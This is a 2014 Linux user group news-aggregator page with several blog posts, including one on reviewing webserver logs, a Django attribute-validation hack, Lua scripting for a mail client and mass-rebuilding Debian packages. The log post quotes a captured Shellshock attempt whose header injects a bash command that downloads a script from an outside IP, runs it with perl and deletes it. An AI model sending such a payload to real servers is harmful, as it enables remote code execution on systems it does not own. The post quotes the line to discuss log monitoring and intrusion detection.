News aggregator

Steve Kemp: Paying attention to webserver logs

Planet HantsLUG - Tue, 02/12/2014 - 13:51

If you run a webserver chances are high that you'll get hit by random exploit-attempts. Today one of my servers has this logged - an obvious shellshock exploit attempt:

92.242.4.130 blog.steve.org.uk - [02/Dec/2014:11:50:03 +0000] \ "GET /cgi-bin/dbs.cgi HTTP/1.1" 404 2325 \ "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget http://146.71.108.154/pis ; \ curl -O http://146.71.108.154/pis;perl pis;rm -rf pis\"; node-reverse-proxy.js"

Yesterday I got hit with thousands of these referer-spam attempts:

152.237.221.99 - - [02/Dec/2014:01:06:25 +0000] "GET / HTTP/1.1" \ 200 7425 "http://buttons-for-website.com" \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

When it comes to stopping dictionary attacks against SSH servers we have things like denyhosts, fail2ban, (or even non-standard SSH ports).

For Apache/webserver exploits we have? mod_security?

I recently heard of apache-scalp which seems to be a project to analyse webserver logs to look for patterns indicative of attack-attempts.

Unfortunately the suggested ruleset comes from the PHP IDS project and are horribly bad.

I wonder if there is any value in me trying to define rules to describe attacks. Either I do a good job and the rules are useful, or somebody else things the rules are bad - which is what I thought of hte PHP-IDS set - I guess it's hard to know.

For the moment I look at the webserver logs every now and again and shake my head. Particularly bad remote IPs get firewalled and dropped, but beyond that I guess it is just background noise.

Shame.

Categories: LUG Community Blogs

Steve Engledow (stilvoid): Just call me Anneka

Planet ALUG - Mon, 01/12/2014 - 00:16

I had an idea a few days ago to create a Pebble watchface that works like an advent calendar; you get a new christmas-themed picture every day.

Here it is :)

The fun part however, was that I completely forgot about the idea until today. Family life and my weekly squash commitment meant that I didn't have a chance to start work on it until around 22:00 and I really wanted to get it into the Pebble store by midnight (in time for the 1st of December).

I submitted the first release at 23:55!

Enjoy :)

I'll put the source on GitHub soon. Before that, it's time for some sleep.

Categories: LUG Community Blogs

Mick Morgan: independent hit

Planet ALUG - Thu, 27/11/2014 - 11:33

On trying to reach the website of the Independent newspaper today (the Grauniad is trying my patience of late), I received the following response:

Closing the popup takes you to this page:

I haven’t checked whether this is simply a DNS redirect or an actual compromise of the Indy site, but however the graffiti was added, it indicates that the Indy has a problem.

Categories: LUG Community Blogs

Chris Lamb: Validating Django model attribute assignment

Planet ALUG - Tue, 25/11/2014 - 14:54

Ever done the following?

>>> user = User.objects.get(pk=102) >>> user.superuser = True >>> user.save() # Argh, why is this user now not a superuser...

Here's a dirty hack to validate these:

import sys from django.db import models from django.conf import settings FIELDS = {} EXCEPTIONS = { 'auth.User': ('backend',), } def setattr_validate(self, name, value): super(models.Model, self).__setattr__(name, value) # Real field names cannot start with underscores if name.startswith('_'): return # Magic if name == 'pk': return k = '%s.%s' % (self._meta.app_label, self._meta.object_name) try: fields = FIELDS[k] except KeyError: fields = FIELDS[k] = set( getattr(x, y) for x in self._meta.fields for y in ('attname', 'name') ) # Field is in allowed list if name in fields: return # Field is in known exceptions if name in EXCEPTIONS.get(k, ()): return # Always allow Django internals to set values (eg. aggregates) if 'django/db/models' in sys._getframe().f_back.f_code.co_filename: return raise ValueError( "Refusing to set unknown attribute '%s' on %s instance. " "(Did you misspell %s?)" % (name, k, ', '.join(fields)) ) # Let's assume we have good test coverage if settings.DEBUG: models.Model.__setattr__ = setattr_validate

Now:

>>> user = User.objects.get(pk=102) >>> user.superuser = True ... ValueError: Refusing to set unknown attribute 'superuser' on auth.User instance. (Did you misspell 'username', 'first_name', 'last_name', 'is_active', 'email', 'is_superuser', 'is_staff', 'last_login', 'password', 'id', 'date_joined')

(Django can be a little schizophrenic on this — Model.save()'s update_fields keyword argument validates its fields, as does prefetch_related, but it's taking select_related a little while to land.)

Categories: LUG Community Blogs

Meeting at "The Moon Under Water"

Wolverhampton LUG News - Mon, 24/11/2014 - 13:45
Event-Date: Wednesday, 26 November, 2014 - 19:30 to 23:00Body: 53-55 Lichfield St Wolverhampton West Midlands WV1 1EQ Eat, Drink and talk Linux
Categories: LUG Community Blogs

Steve Kemp: Lumail 2.x ?

Planet HantsLUG - Sat, 22/11/2014 - 21:39

I've continued to ponder the idea of reimplementing the console mail-client I wrote, lumail, using a more object-based codebase.

For one thing having loosely coupled code would allow testing things in isolation, which is clearly a good thing.

I've written some proof of concept code which will allow the following Lua to be evaluated:

-- Open the maildir. users = Maildir.new( "/home/skx/Maildir/.debian.user" ) -- Count the messages. print( "There are " .. users:count() .. " messages in the maildir " .. users:path() ) -- -- Now we want to get all the messages and output their paths. -- for k,v in ipairs( users:messages()) do -- -- Here we could do something like: -- -- if ( string.find( v:headers["subject"], "troll", 1, true ) ) then v:delete() end -- -- Instead play-nice and just show the path. print( k .. " -> " .. v:path() ) end

This is all a bit ugly, but I've butchered some code together that works, and tried to solicit feedback from lumail users.

I'd write more but I'm tired, and intending to drink whisky and have an early night. Today I mostly replaced pipes in my attic. (Is it "attic", or is it "loft"? I keep alternating!) Fingers crossed this will mean a dry kitchen in the morning.

Categories: LUG Community Blogs

Steve Kemp: An experiment in (re)building Debian

Planet HantsLUG - Thu, 20/11/2014 - 13:28

I've rebuilt many Debian packages over the years, largely to fix bugs which affected me, or to add features which didn't make the cut in various releases. For example I made a package of fabric available for Wheezy, since it wasn't in the release. (Happily in that case a wheezy-backport became available. Similar cases involved repackaging gtk-gnutella when the protocol changed and the official package in the lenny release no longer worked.)

I generally release a lot of my own software as Debian packages, although I'll admit I've started switching to publishing Perl-based projects on CPAN instead - from which they can be debianized via dh-make-perl.

One thing I've not done for many years is a mass-rebuild of Debian packages. I did that once upon a time when I was trying to push for the stack-smashing-protection inclusion all the way back in 2006.

Having had a few interesting emails this past week I decided to do the job for real. I picked a random server of mine, rsync.io, which stores backups, and decided to rebuild it using "my own" packages.

The host has about 300 packages installed upon it:

root@rsync ~ # dpkg --list | grep ^ii | wc -l 294

I got the source to every package, patched the changelog to bump the version, and rebuild every package from source. That took about three hours.

Every package has a "skx1" suffix now, and all the build-dependencies were also determined by magic and rebuilt:

root@rsync ~ # dpkg --list | grep ^ii | awk '{ print $2 " " $3}'| head -n 4 acpi 1.6-1skx1 acpi-support-base 0.140-5+deb7u3skx1 acpid 1:2.0.16-1+deb7u1skx1 adduser 3.113+nmu3skx1

The process was pretty quick once I started getting more and more of the packages built. The only shortcut was not explicitly updating the dependencies to rely upon my updages. For example bash has a Debian control file that contains:

Depends: base-files (>= 2.1.12), debianutils (>= 2.15)

That should have been updated to say:

Depends: base-files (>= 2.1.12skx1), debianutils (>= 2.15skx1)

However I didn't do that, because I suspect if I did want to do this decently, and I wanted to share the source-trees, and the generated packages, the way to go would not be messing about with Debian versions instead I'd create a new Debian release "alpha-apple", "beta-bananna", "crunchy-carrot", "dying-dragonfruit", "easy-elderberry", or similar.

In conclusion: Importing Debian packages into git, much like Ubuntu did with bzr, is a fun project, and it doesn't take much to mass-rebuild if you're not making huge changes. Whether it is worth doing is an entirely different question of course.

Categories: LUG Community Blogs
Syndicate content